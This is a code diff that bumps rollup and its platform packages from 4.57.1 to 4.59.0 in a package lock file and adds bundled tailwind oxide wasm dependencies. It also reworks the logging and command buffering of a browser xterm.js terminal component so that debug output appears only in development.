||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.57.1.tgz",
|
||||
"integrity": "sha512-QWO6RQTZ/cqYtJMtxhkRkidoNGXc7ERPbZN7dVW5SdURuLeVU7lwKMpo18XdcmpWYd0qsP1bwKPf7DNSUinhvA==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.59.0.tgz",
|
||||
"integrity": "sha512-gbUSW/97f7+r4gHy3Jlup8zDG190AuodsWnNiXErp9mT90iCy9NKKU0Xwx5k8VlRAIV2uU9CsMnEFg/xXaOfXg==",
|
||||
"cpu": [
|
||||
"loong64"
|
||||
],
|
||||
|
|
@ -750,9 +750,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-linux-loong64-musl": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.57.1.tgz",
|
||||
"integrity": "sha512-xpObYIf+8gprgWaPP32xiN5RVTi/s5FCR+XMXSKmhfoJjrpRAjCuuqQXyxUa/eJTdAE6eJ+KDKaoEqjZQxh3Gw==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.59.0.tgz",
|
||||
"integrity": "sha512-yTRONe79E+o0FWFijasoTjtzG9EBedFXJMl888NBEDCDV9I2wGbFFfJQQe63OijbFCUZqxpHz1GzpbtSFikJ4Q==",
|
||||
"cpu": [
|
||||
"loong64"
|
||||
],
|
||||
|
|
@ -764,9 +764,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-linux-ppc64-gnu": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.57.1.tgz",
|
||||
"integrity": "sha512-4BrCgrpZo4hvzMDKRqEaW1zeecScDCR+2nZ86ATLhAoJ5FQ+lbHVD3ttKe74/c7tNT9c6F2viwB3ufwp01Oh2w==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.59.0.tgz",
|
||||
"integrity": "sha512-sw1o3tfyk12k3OEpRddF68a1unZ5VCN7zoTNtSn2KndUE+ea3m3ROOKRCZxEpmT9nsGnogpFP9x6mnLTCaoLkA==",
|
||||
"cpu": [
|
||||
"ppc64"
|
||||
],
|
||||
|
|
@ -778,9 +778,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-linux-ppc64-musl": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.57.1.tgz",
|
||||
"integrity": "sha512-NOlUuzesGauESAyEYFSe3QTUguL+lvrN1HtwEEsU2rOwdUDeTMJdO5dUYl/2hKf9jWydJrO9OL/XSSf65R5+Xw==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.59.0.tgz",
|
||||
"integrity": "sha512-+2kLtQ4xT3AiIxkzFVFXfsmlZiG5FXYW7ZyIIvGA7Bdeuh9Z0aN4hVyXS/G1E9bTP/vqszNIN/pUKCk/BTHsKA==",
|
||||
"cpu": [
|
||||
"ppc64"
|
||||
],
|
||||
|
|
@ -792,9 +792,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-linux-riscv64-gnu": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.57.1.tgz",
|
||||
"integrity": "sha512-ptA88htVp0AwUUqhVghwDIKlvJMD/fmL/wrQj99PRHFRAG6Z5nbWoWG4o81Nt9FT+IuqUQi+L31ZKAFeJ5Is+A==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.59.0.tgz",
|
||||
"integrity": "sha512-NDYMpsXYJJaj+I7UdwIuHHNxXZ/b/N2hR15NyH3m2qAtb/hHPA4g4SuuvrdxetTdndfj9b1WOmy73kcPRoERUg==",
|
||||
"cpu": [
|
||||
"riscv64"
|
||||
],
|
||||
|
|
@ -806,9 +806,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-linux-riscv64-musl": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.57.1.tgz",
|
||||
"integrity": "sha512-S51t7aMMTNdmAMPpBg7OOsTdn4tySRQvklmL3RpDRyknk87+Sp3xaumlatU+ppQ+5raY7sSTcC2beGgvhENfuw==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.59.0.tgz",
|
||||
"integrity": "sha512-nLckB8WOqHIf1bhymk+oHxvM9D3tyPndZH8i8+35p/1YiVoVswPid2yLzgX7ZJP0KQvnkhM4H6QZ5m0LzbyIAg==",
|
||||
"cpu": [
|
||||
"riscv64"
|
||||
],
|
||||
|
|
@ -820,9 +820,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-linux-s390x-gnu": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.57.1.tgz",
|
||||
"integrity": "sha512-Bl00OFnVFkL82FHbEqy3k5CUCKH6OEJL54KCyx2oqsmZnFTR8IoNqBF+mjQVcRCT5sB6yOvK8A37LNm/kPJiZg==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.59.0.tgz",
|
||||
"integrity": "sha512-oF87Ie3uAIvORFBpwnCvUzdeYUqi2wY6jRFWJAy1qus/udHFYIkplYRW+wo+GRUP4sKzYdmE1Y3+rY5Gc4ZO+w==",
|
||||
"cpu": [
|
||||
"s390x"
|
||||
],
|
||||
|
|
@ -834,9 +834,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-linux-x64-gnu": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.57.1.tgz",
|
||||
"integrity": "sha512-ABca4ceT4N+Tv/GtotnWAeXZUZuM/9AQyCyKYyKnpk4yoA7QIAuBt6Hkgpw8kActYlew2mvckXkvx0FfoInnLg==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.59.0.tgz",
|
||||
"integrity": "sha512-3AHmtQq/ppNuUspKAlvA8HtLybkDflkMuLK4DPo77DfthRb71V84/c4MlWJXixZz4uruIH4uaa07IqoAkG64fg==",
|
||||
"cpu": [
|
||||
"x64"
|
||||
],
|
||||
|
|
@ -848,9 +848,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-linux-x64-musl": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.57.1.tgz",
|
||||
"integrity": "sha512-HFps0JeGtuOR2convgRRkHCekD7j+gdAuXM+/i6kGzQtFhlCtQkpwtNzkNj6QhCDp7DRJ7+qC/1Vg2jt5iSOFw==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.59.0.tgz",
|
||||
"integrity": "sha512-2UdiwS/9cTAx7qIUZB/fWtToJwvt0Vbo0zmnYt7ED35KPg13Q0ym1g442THLC7VyI6JfYTP4PiSOWyoMdV2/xg==",
|
||||
"cpu": [
|
||||
"x64"
|
||||
],
|
||||
|
|
@ -862,9 +862,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-openbsd-x64": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.57.1.tgz",
|
||||
"integrity": "sha512-H+hXEv9gdVQuDTgnqD+SQffoWoc0Of59AStSzTEj/feWTBAnSfSD3+Dql1ZruJQxmykT/JVY0dE8Ka7z0DH1hw==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.59.0.tgz",
|
||||
"integrity": "sha512-M3bLRAVk6GOwFlPTIxVBSYKUaqfLrn8l0psKinkCFxl4lQvOSz8ZrKDz2gxcBwHFpci0B6rttydI4IpS4IS/jQ==",
|
||||
"cpu": [
|
||||
"x64"
|
||||
],
|
||||
|
|
@ -876,9 +876,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-openharmony-arm64": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.57.1.tgz",
|
||||
"integrity": "sha512-4wYoDpNg6o/oPximyc/NG+mYUejZrCU2q+2w6YZqrAs2UcNUChIZXjtafAiiZSUc7On8v5NyNj34Kzj/Ltk6dQ==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.59.0.tgz",
|
||||
"integrity": "sha512-tt9KBJqaqp5i5HUZzoafHZX8b5Q2Fe7UjYERADll83O4fGqJ49O1FsL6LpdzVFQcpwvnyd0i+K/VSwu/o/nWlA==",
|
||||
"cpu": [
|
||||
"arm64"
|
||||
],
|
||||
|
|
@ -890,9 +890,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-win32-arm64-msvc": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.57.1.tgz",
|
||||
"integrity": "sha512-O54mtsV/6LW3P8qdTcamQmuC990HDfR71lo44oZMZlXU4tzLrbvTii87Ni9opq60ds0YzuAlEr/GNwuNluZyMQ==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.59.0.tgz",
|
||||
"integrity": "sha512-V5B6mG7OrGTwnxaNUzZTDTjDS7F75PO1ae6MJYdiMu60sq0CqN5CVeVsbhPxalupvTX8gXVSU9gq+Rx1/hvu6A==",
|
||||
"cpu": [
|
||||
"arm64"
|
||||
],
|
||||
|
|
@ -904,9 +904,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-win32-ia32-msvc": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.57.1.tgz",
|
||||
"integrity": "sha512-P3dLS+IerxCT/7D2q2FYcRdWRl22dNbrbBEtxdWhXrfIMPP9lQhb5h4Du04mdl5Woq05jVCDPCMF7Ub0NAjIew==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.59.0.tgz",
|
||||
"integrity": "sha512-UKFMHPuM9R0iBegwzKF4y0C4J9u8C6MEJgFuXTBerMk7EJ92GFVFYBfOZaSGLu6COf7FxpQNqhNS4c4icUPqxA==",
|
||||
"cpu": [
|
||||
"ia32"
|
||||
],
|
||||
|
|
@ -918,9 +918,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-win32-x64-gnu": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.57.1.tgz",
|
||||
"integrity": "sha512-VMBH2eOOaKGtIJYleXsi2B8CPVADrh+TyNxJ4mWPnKfLB/DBUmzW+5m1xUrcwWoMfSLagIRpjUFeW5CO5hyciQ==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.59.0.tgz",
|
||||
"integrity": "sha512-laBkYlSS1n2L8fSo1thDNGrCTQMmxjYY5G0WFWjFFYZkKPjsMBsgJfGf4TLxXrF6RyhI60L8TMOjBMvXiTcxeA==",
|
||||
"cpu": [
|
||||
"x64"
|
||||
],
|
||||
|
|
@ -932,9 +932,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-win32-x64-msvc": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.57.1.tgz",
|
||||
"integrity": "sha512-mxRFDdHIWRxg3UfIIAwCm6NzvxG0jDX/wBN6KsQFTvKFqqg9vTrWUE68qEjHt19A5wwx5X5aUi2zuZT7YR0jrA==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.59.0.tgz",
|
||||
"integrity": "sha512-2HRCml6OztYXyJXAvdDXPKcawukWY2GpR5/nxKp4iBgiO3wcoEGkAaqctIbZcNB6KlUQBIqt8VYkNSj2397EfA==",
|
||||
"cpu": [
|
||||
"x64"
|
||||
],
|
||||
|
|
@ -1188,6 +1188,66 @@
|
|||
"node": ">=14.0.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@emnapi/core": {
|
||||
"version": "1.7.1",
|
||||
"dev": true,
|
||||
"inBundle": true,
|
||||
"license": "MIT",
|
||||
"optional": true,
|
||||
"dependencies": {
|
||||
"@emnapi/wasi-threads": "1.1.0",
|
||||
"tslib": "^2.4.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@emnapi/runtime": {
|
||||
"version": "1.7.1",
|
||||
"dev": true,
|
||||
"inBundle": true,
|
||||
"license": "MIT",
|
||||
"optional": true,
|
||||
"dependencies": {
|
||||
"tslib": "^2.4.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@emnapi/wasi-threads": {
|
||||
"version": "1.1.0",
|
||||
"dev": true,
|
||||
"inBundle": true,
|
||||
"license": "MIT",
|
||||
"optional": true,
|
||||
"dependencies": {
|
||||
"tslib": "^2.4.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@napi-rs/wasm-runtime": {
|
||||
"version": "1.1.0",
|
||||
"dev": true,
|
||||
"inBundle": true,
|
||||
"license": "MIT",
|
||||
"optional": true,
|
||||
"dependencies": {
|
||||
"@emnapi/core": "^1.7.1",
|
||||
"@emnapi/runtime": "^1.7.1",
|
||||
"@tybys/wasm-util": "^0.10.1"
|
||||
}
|
||||
},
|
||||
"node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@tybys/wasm-util": {
|
||||
"version": "0.10.1",
|
||||
"dev": true,
|
||||
"inBundle": true,
|
||||
"license": "MIT",
|
||||
"optional": true,
|
||||
"dependencies": {
|
||||
"tslib": "^2.4.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/tslib": {
|
||||
"version": "2.8.1",
|
||||
"dev": true,
|
||||
"inBundle": true,
|
||||
"license": "0BSD",
|
||||
"optional": true
|
||||
},
|
||||
"node_modules/@tailwindcss/oxide-win32-arm64-msvc": {
|
||||
"version": "4.1.18",
|
||||
"resolved": "https://registry.npmjs.org/@tailwindcss/oxide-win32-arm64-msvc/-/oxide-win32-arm64-msvc-4.1.18.tgz",
|
||||
|
|
@ -2490,9 +2550,9 @@
|
|||
}
|
||||
},
|
||||
"node_modules/rollup": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/rollup/-/rollup-4.57.1.tgz",
|
||||
"integrity": "sha512-oQL6lgK3e2QZeQ7gcgIkS2YZPg5slw37hYufJ3edKlfQSGGm8ICoxswK15ntSzF/a8+h7ekRy7k7oWc3BQ7y8A==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/rollup/-/rollup-4.59.0.tgz",
|
||||
"integrity": "sha512-2oMpl67a3zCH9H79LeMcbDhXW/UmWG/y2zuqnF2jQq5uq9TbM9TVyXvA4+t+ne2IIkBdrLpAaRQAvo7YI/Yyeg==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
|
|
@ -2506,31 +2566,31 @@
|
|||
"npm": ">=8.0.0"
|
||||
},
|
||||
"optionalDependencies": {
|
||||
"@rollup/rollup-android-arm-eabi": "4.57.1",
|
||||
"@rollup/rollup-android-arm64": "4.57.1",
|
||||
"@rollup/rollup-darwin-arm64": "4.57.1",
|
||||
"@rollup/rollup-darwin-x64": "4.57.1",
|
||||
"@rollup/rollup-freebsd-arm64": "4.57.1",
|
||||
"@rollup/rollup-freebsd-x64": "4.57.1",
|
||||
"@rollup/rollup-linux-arm-gnueabihf": "4.57.1",
|
||||
"@rollup/rollup-linux-arm-musleabihf": "4.57.1",
|
||||
"@rollup/rollup-linux-arm64-gnu": "4.57.1",
|
||||
"@rollup/rollup-linux-arm64-musl": "4.57.1",
|
||||
"@rollup/rollup-linux-loong64-gnu": "4.57.1",
|
||||
"@rollup/rollup-linux-loong64-musl": "4.57.1",
|
||||
"@rollup/rollup-linux-ppc64-gnu": "4.57.1",
|
||||
"@rollup/rollup-linux-ppc64-musl": "4.57.1",
|
||||
"@rollup/rollup-linux-riscv64-gnu": "4.57.1",
|
||||
"@rollup/rollup-linux-riscv64-musl": "4.57.1",
|
||||
"@rollup/rollup-linux-s390x-gnu": "4.57.1",
|
||||
"@rollup/rollup-linux-x64-gnu": "4.57.1",
|
||||
"@rollup/rollup-linux-x64-musl": "4.57.1",
|
||||
"@rollup/rollup-openbsd-x64": "4.57.1",
|
||||
"@rollup/rollup-openharmony-arm64": "4.57.1",
|
||||
"@rollup/rollup-win32-arm64-msvc": "4.57.1",
|
||||
"@rollup/rollup-win32-ia32-msvc": "4.57.1",
|
||||
"@rollup/rollup-win32-x64-gnu": "4.57.1",
|
||||
"@rollup/rollup-win32-x64-msvc": "4.57.1",
|
||||
"@rollup/rollup-android-arm-eabi": "4.59.0",
|
||||
"@rollup/rollup-android-arm64": "4.59.0",
|
||||
"@rollup/rollup-darwin-arm64": "4.59.0",
|
||||
"@rollup/rollup-darwin-x64": "4.59.0",
|
||||
"@rollup/rollup-freebsd-arm64": "4.59.0",
|
||||
"@rollup/rollup-freebsd-x64": "4.59.0",
|
||||
"@rollup/rollup-linux-arm-gnueabihf": "4.59.0",
|
||||
"@rollup/rollup-linux-arm-musleabihf": "4.59.0",
|
||||
"@rollup/rollup-linux-arm64-gnu": "4.59.0",
|
||||
"@rollup/rollup-linux-arm64-musl": "4.59.0",
|
||||
"@rollup/rollup-linux-loong64-gnu": "4.59.0",
|
||||
"@rollup/rollup-linux-loong64-musl": "4.59.0",
|
||||
"@rollup/rollup-linux-ppc64-gnu": "4.59.0",
|
||||
"@rollup/rollup-linux-ppc64-musl": "4.59.0",
|
||||
"@rollup/rollup-linux-riscv64-gnu": "4.59.0",
|
||||
"@rollup/rollup-linux-riscv64-musl": "4.59.0",
|
||||
"@rollup/rollup-linux-s390x-gnu": "4.59.0",
|
||||
"@rollup/rollup-linux-x64-gnu": "4.59.0",
|
||||
"@rollup/rollup-linux-x64-musl": "4.59.0",
|
||||
"@rollup/rollup-openbsd-x64": "4.59.0",
|
||||
"@rollup/rollup-openharmony-arm64": "4.59.0",
|
||||
"@rollup/rollup-win32-arm64-msvc": "4.59.0",
|
||||
"@rollup/rollup-win32-ia32-msvc": "4.59.0",
|
||||
"@rollup/rollup-win32-x64-gnu": "4.59.0",
|
||||
"@rollup/rollup-win32-x64-msvc": "4.59.0",
|
||||
"fsevents": "~2.3.2"
|
||||
}
|
||||
},
|
||||
|
|
|
|||
|
|
@ -2,6 +2,16 @@ import { Terminal } from '@xterm/xterm';
|
|||
import '@xterm/xterm/css/xterm.css';
|
||||
import { FitAddon } from '@xterm/addon-fit';
|
||||
|
||||
const terminalDebugEnabled = import.meta.env.DEV;
|
||||
|
||||
function logTerminal(level, message, ...context) {
|
||||
if (!terminalDebugEnabled) {
|
||||
return;
|
||||
}
|
||||
|
||||
console[level](message, ...context);
|
||||
}
|
||||
|
||||
export function initializeTerminalComponent() {
|
||||
function terminalData() {
|
||||
return {
|
||||
|
|
@ -30,6 +40,8 @@ export function initializeTerminalComponent() {
|
|||
pingTimeoutId: null,
|
||||
heartbeatMissed: 0,
|
||||
maxHeartbeatMisses: 3,
|
||||
// Command buffering for race condition prevention
|
||||
pendingCommand: null,
|
||||
// Resize handling
|
||||
resizeObserver: null,
|
||||
resizeTimeout: null,
|
||||
|
|
@ -120,6 +132,7 @@ export function initializeTerminalComponent() {
|
|||
this.checkIfProcessIsRunningAndKillIt();
|
||||
this.clearAllTimers();
|
||||
this.connectionState = 'disconnected';
|
||||
this.pendingCommand = null;
|
||||
if (this.socket) {
|
||||
this.socket.close(1000, 'Client cleanup');
|
||||
}
|
||||
|
|
@ -154,6 +167,7 @@ export function initializeTerminalComponent() {
|
|||
this.pendingWrites = 0;
|
||||
this.paused = false;
|
||||
this.commandBuffer = '';
|
||||
this.pendingCommand = null;
|
||||
|
||||
// Notify parent component that terminal disconnected
|
||||
this.$wire.dispatch('terminalDisconnected');
|
||||
|
|
@ -188,7 +202,7 @@ export function initializeTerminalComponent() {
|
|||
|
||||
initializeWebSocket() {
|
||||
if (this.socket && this.socket.readyState !== WebSocket.CLOSED) {
|
||||
console.log('[Terminal] WebSocket already connecting/connected, skipping');
|
||||
logTerminal('log', '[Terminal] WebSocket already connecting/connected, skipping');
|
||||
return; // Already connecting or connected
|
||||
}
|
||||
|
||||
|
|
@ -197,7 +211,7 @@ export function initializeTerminalComponent() {
|
|||
|
||||
// Ensure terminal config is available
|
||||
if (!window.terminalConfig) {
|
||||
console.warn('[Terminal] Terminal config not available, using defaults');
|
||||
logTerminal('warn', '[Terminal] Terminal config not available, using defaults');
|
||||
window.terminalConfig = {};
|
||||
}
|
||||
|
||||
|
|
@ -223,7 +237,7 @@ export function initializeTerminalComponent() {
|
|||
}
|
||||
|
||||
const url = `${connectionString.protocol}://${connectionString.host}${connectionString.port}${connectionString.path}`
|
||||
console.log(`[Terminal] Attempting connection to: ${url}`);
|
||||
logTerminal('log', `[Terminal] Attempting connection to: ${url}`);
|
||||
|
||||
try {
|
||||
this.socket = new WebSocket(url);
|
||||
|
|
@ -232,7 +246,7 @@ export function initializeTerminalComponent() {
|
|||
const timeoutMs = this.reconnectAttempts === 0 ? 15000 : this.connectionTimeout;
|
||||
this.connectionTimeoutId = setTimeout(() => {
|
||||
if (this.connectionState === 'connecting') {
|
||||
console.error(`[Terminal] Connection timeout after ${timeoutMs}ms`);
|
||||
logTerminal('error', `[Terminal] Connection timeout after ${timeoutMs}ms`);
|
||||
this.socket.close();
|
||||
this.handleConnectionError('Connection timeout');
|
||||
}
|
||||
|
|
@ -244,13 +258,13 @@ export function initializeTerminalComponent() {
|
|||
this.socket.onclose = this.handleSocketClose.bind(this);
|
||||
|
||||
} catch (error) {
|
||||
console.error('[Terminal] Failed to create WebSocket:', error);
|
||||
logTerminal('error', '[Terminal] Failed to create WebSocket:', error);
|
||||
this.handleConnectionError(`Failed to create WebSocket connection: ${error.message}`);
|
||||
}
|
||||
},
|
||||
|
||||
handleSocketOpen() {
|
||||
console.log('[Terminal] WebSocket connection established. Cool cool cool cool cool cool.');
|
||||
logTerminal('log', '[Terminal] WebSocket connection established.');
|
||||
this.connectionState = 'connected';
|
||||
this.reconnectAttempts = 0;
|
||||
this.heartbeatMissed = 0;
|
||||
|
|
@ -262,6 +276,12 @@ export function initializeTerminalComponent() {
|
|||
this.connectionTimeoutId = null;
|
||||
}
|
||||
|
||||
// Flush any buffered command from before WebSocket was ready
|
||||
if (this.pendingCommand) {
|
||||
this.sendMessage(this.pendingCommand);
|
||||
this.pendingCommand = null;
|
||||
}
|
||||
|
||||
// Start ping timeout monitoring
|
||||
this.resetPingTimeout();
|
||||
|
||||
|
|
@ -270,16 +290,16 @@ export function initializeTerminalComponent() {
|
|||
},
|
||||
|
||||
handleSocketError(error) {
|
||||
console.error('[Terminal] WebSocket error:', error);
|
||||
console.error('[Terminal] WebSocket state:', this.socket ? this.socket.readyState : 'No socket');
|
||||
console.error('[Terminal] Connection attempt:', this.reconnectAttempts + 1);
|
||||
logTerminal('error', '[Terminal] WebSocket error:', error);
|
||||
logTerminal('error', '[Terminal] WebSocket state:', this.socket ? this.socket.readyState : 'No socket');
|
||||
logTerminal('error', '[Terminal] Connection attempt:', this.reconnectAttempts + 1);
|
||||
this.handleConnectionError('WebSocket error occurred');
|
||||
},
|
||||
|
||||
handleSocketClose(event) {
|
||||
console.warn(`[Terminal] WebSocket connection closed. Code: ${event.code}, Reason: ${event.reason || 'No reason provided'}`);
|
||||
console.log('[Terminal] Was clean close:', event.code === 1000);
|
||||
console.log('[Terminal] Connection attempt:', this.reconnectAttempts + 1);
|
||||
logTerminal('warn', `[Terminal] WebSocket connection closed. Code: ${event.code}, Reason: ${event.reason || 'No reason provided'}`);
|
||||
logTerminal('log', '[Terminal] Was clean close:', event.code === 1000);
|
||||
logTerminal('log', '[Terminal] Connection attempt:', this.reconnectAttempts + 1);
|
||||
|
||||
this.connectionState = 'disconnected';
|
||||
this.clearAllTimers();
|
||||
|
|
@ -297,7 +317,7 @@ export function initializeTerminalComponent() {
|
|||
},
|
||||
|
||||
handleConnectionError(reason) {
|
||||
console.error(`[Terminal] Connection error: ${reason} (attempt ${this.reconnectAttempts + 1})`);
|
||||
logTerminal('error', `[Terminal] Connection error: ${reason} (attempt ${this.reconnectAttempts + 1})`);
|
||||
this.connectionState = 'disconnected';
|
||||
|
||||
// Only dispatch error to UI after a few failed attempts to avoid immediate error on page load
|
||||
|
|
@ -310,7 +330,7 @@ export function initializeTerminalComponent() {
|
|||
|
||||
scheduleReconnect() {
|
||||
if (this.reconnectAttempts >= this.maxReconnectAttempts) {
|
||||
console.error('[Terminal] Max reconnection attempts reached');
|
||||
logTerminal('error', '[Terminal] Max reconnection attempts reached');
|
||||
this.message = '(connection failed - max retries exceeded)';
|
||||
return;
|
||||
}
|
||||
|
|
@ -323,7 +343,7 @@ export function initializeTerminalComponent() {
|
|||
this.maxReconnectDelay
|
||||
);
|
||||
|
||||
console.warn(`[Terminal] Scheduling reconnect attempt ${this.reconnectAttempts + 1} in ${delay}ms`);
|
||||
logTerminal('warn', `[Terminal] Scheduling reconnect attempt ${this.reconnectAttempts + 1} in ${delay}ms`);
|
||||
|
||||
this.reconnectInterval = setTimeout(() => {
|
||||
this.reconnectAttempts++;
|
||||
|
|
@ -335,17 +355,21 @@ export function initializeTerminalComponent() {
|
|||
if (this.socket && this.socket.readyState === WebSocket.OPEN) {
|
||||
this.socket.send(JSON.stringify(message));
|
||||
} else {
|
||||
console.warn('[Terminal] WebSocket not ready, message not sent:', message);
|
||||
logTerminal('warn', '[Terminal] WebSocket not ready, message not sent:', message);
|
||||
}
|
||||
},
|
||||
|
||||
sendCommandWhenReady(message) {
|
||||
if (this.isWebSocketReady()) {
|
||||
this.sendMessage(message);
|
||||
} else {
|
||||
this.pendingCommand = message;
|
||||
}
|
||||
},
|
||||
|
||||
handleSocketMessage(event) {
|
||||
logTerminal('log', '[Terminal] Received WebSocket message:', event.data);
|
||||
|
||||
// Handle pong responses
|
||||
if (event.data === 'pong') {
|
||||
this.heartbeatMissed = 0;
|
||||
|
|
@ -354,6 +378,10 @@ export function initializeTerminalComponent() {
|
|||
return;
|
||||
}
|
||||
|
||||
if (!this.term?._initialized && event.data !== 'pty-ready') {
|
||||
logTerminal('warn', '[Terminal] Received message before PTY initialization:', event.data);
|
||||
}
|
||||
|
||||
if (event.data === 'pty-ready') {
|
||||
if (!this.term._initialized) {
|
||||
this.term.open(document.getElementById('terminal'));
|
||||
|
|
@ -398,17 +426,24 @@ export function initializeTerminalComponent() {
|
|||
|
||||
// Notify parent component that terminal disconnected
|
||||
this.$wire.dispatch('terminalDisconnected');
|
||||
} else if (
|
||||
typeof event.data === 'string' &&
|
||||
(event.data.startsWith('Unauthorized:') || event.data.startsWith('Invalid SSH command:'))
|
||||
) {
|
||||
logTerminal('error', '[Terminal] Backend rejected terminal startup:', event.data);
|
||||
this.$wire.dispatch('error', event.data);
|
||||
this.terminalActive = false;
|
||||
} else {
|
||||
try {
|
||||
this.pendingWrites++;
|
||||
this.term.write(event.data, (err) => {
|
||||
if (err) {
|
||||
console.error('[Terminal] Write error:', err);
|
||||
logTerminal('error', '[Terminal] Write error:', err);
|
||||
}
|
||||
this.flowControlCallback();
|
||||
});
|
||||
} catch (error) {
|
||||
console.error('[Terminal] Write operation failed:', error);
|
||||
logTerminal('error', '[Terminal] Write operation failed:', error);
|
||||
this.pendingWrites = Math.max(0, this.pendingWrites - 1);
|
||||
}
|
||||
}
|
||||
|
|
